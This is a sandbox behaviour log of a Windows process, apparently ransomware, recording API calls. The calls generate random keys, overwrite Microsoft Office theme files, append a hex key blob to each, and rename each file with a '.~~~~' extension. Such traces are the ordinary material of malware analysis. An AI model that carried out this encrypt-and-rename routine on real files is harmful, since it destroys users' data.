	[0121.905] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0121.905] GetLastError () returned 0x0
	[0121.905] GetLastError () returned 0x0
	[0121.944] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffea28b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.945] WriteFile (in: hFile=0x140, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x15d75, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0x15d75, lpOverlapped=0x0) returned 1
	[0121.946] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0121.946] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.946] WriteFile (in: hFile=0x140, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.946] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.946] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.946] CloseHandle (hObject=0x140) returned 1
	[0121.947] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b5848
	[0121.947] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\thatch.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\thatch.thmx.~~~~")) returned 1
	[0121.948] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5848 | out: hHeap=0x300000) returned 1
	[0121.948] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0121.948] GetLastError () returned 0x0
	[0121.978] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0121.981] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.981] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.981] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0121.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0121.981] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24197107376) returned 1
	[0121.981] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb22ca3b0, dwHighDateTime=0x1d60e1e)) 
	[0121.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0121.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0121.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0121.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b7ab0
	[0121.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.981] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7ab0 | out: hHeap=0x300000) returned 1
	[0121.982] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.982] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.982] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b5848
	[0121.982] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.982] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0121.982] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5848 | out: hHeap=0x300000) returned 1
	[0121.982] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0121.982] GetLastError () returned 0x0
	[0121.982] GetLastError () returned 0x0
	[0121.983] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0121.983] GetLastError () returned 0x0
	[0121.983] GetLastError () returned 0x0
	[0121.995] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffc3f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.995] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x3c1, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x3c1, lpOverlapped=0x0) returned 1
	[0121.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0121.997] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.997] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.997] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.997] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.997] CloseHandle (hObject=0x130) returned 1
	[0121.997] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f63b8
	[0121.998] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Aspect.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\aspect.xml.~~~~")) returned 1
	[0121.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f63b8 | out: hHeap=0x300000) returned 1
	[0121.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0121.999] GetLastError () returned 0x0
	[0122.000] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0122.001] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.002] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0122.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0122.002] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24199195796) returned 1
	[0122.002] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb2316670, dwHighDateTime=0x1d60e1e)) 
	[0122.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0122.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0122.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0122.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b7a40
	[0122.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7a40 | out: hHeap=0x300000) returned 1
	[0122.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.003] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b64c0
	[0122.003] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.003] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.003] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b64c0 | out: hHeap=0x300000) returned 1
	[0122.003] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0122.003] GetLastError () returned 0x0
	[0122.003] GetLastError () returned 0x0
	[0122.003] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0122.004] GetLastError () returned 0x0
	[0122.004] GetLastError () returned 0x0
	[0122.091] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffc62, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.101] WriteFile (in: hFile=0x130, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x39e, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x39e, lpOverlapped=0x0) returned 1
	[0122.114] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0122.114] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.114] WriteFile (in: hFile=0x130, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.114] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.114] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.117] CloseHandle (hObject=0x130) returned 1
	[0122.117] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fe70
	[0122.121] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml.~~~~")) returned 1
	[0122.122] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fe70 | out: hHeap=0x300000) returned 1
	[0122.122] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0122.122] GetLastError () returned 0x0
	[0122.123] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0122.133] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.133] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.133] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0122.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0122.133] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24212322352) returned 1
	[0122.133] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb2447170, dwHighDateTime=0x1d60e1e)) 
	[0122.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0122.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0122.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0122.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b77d8
	[0122.133] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b77d8 | out: hHeap=0x300000) returned 1
	[0122.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b5a40
	[0122.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6d38
	[0122.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b5a40 | out: hHeap=0x300000) returned 1
	[0122.134] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0122.134] GetLastError () returned 0x0
	[0122.134] GetLastError () returned 0x0
	[0122.134] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0122.134] GetLastError () returned 0x0
	[0122.134] GetLastError () returned 0x0
	[0122.137] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffc41, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.137] WriteFile (in: hFile=0x140, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x3bf, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0x3bf, lpOverlapped=0x0) returned 1
	[0122.138] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0122.139] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.139] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.139] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.139] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.139] CloseHandle (hObject=0x140) returned 1
	[0122.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38ff28
	[0122.139] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grid.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grid.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grid.xml.~~~~")) returned 1
	[0122.140] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38ff28 | out: hHeap=0x300000) returned 1
	[0122.140] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0122.140] GetLastError () returned 0x0
	[0122.141] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0122.142] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.142] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.142] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.142] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0122.142] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0122.142] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24213214548) returned 1
	[0122.142] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb246d2d0, dwHighDateTime=0x1d60e1e)) 
	[0122.142] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0122.142] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0122.142] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0122.142] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b7768
	[0122.142] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.142] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7768 | out: hHeap=0x300000) returned 1
	[0122.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.143] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3eac70
	[0122.143] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6d38
	[0122.143] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3eac70 | out: hHeap=0x300000) returned 1
	[0122.143] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0122.143] GetLastError () returned 0x0
	[0122.143] GetLastError () returned 0x0
	[0122.143] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0122.143] GetLastError () returned 0x0
	[0122.143] GetLastError () returned 0x0
	[0122.145] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffc62, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.145] WriteFile (in: hFile=0x140, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x39e, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x25dfec0*=0x39e, lpOverlapped=0x0) returned 1
	[0122.147] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0122.147] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.147] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.147] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.147] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.147] CloseHandle (hObject=0x140) returned 1
	[0122.147] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fe70
	[0122.147] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\horizon.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Horizon.xml.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\horizon.xml.~~~~")) returned 1
	[0122.148] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fe70 | out: hHeap=0x300000) returned 1
	[0122.148] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0122.148] GetLastError () returned 0x0
	[0122.148] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0122.149] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.149] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.150] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0122.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0122.150] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24213976771) returned 1
	[0122.150] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb246d2d0, dwHighDateTime=0x1d60e1e)) 
	[0122.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0122.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0122.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0122.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b7730
	[0122.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.150] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7730 | out: hHeap=0x300000) returned 1
	[0122.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.150] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3eac70
	[0122.150] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.150] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6d38
	[0122.150] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3eac70 | out: hHeap=0x300000) returned 1
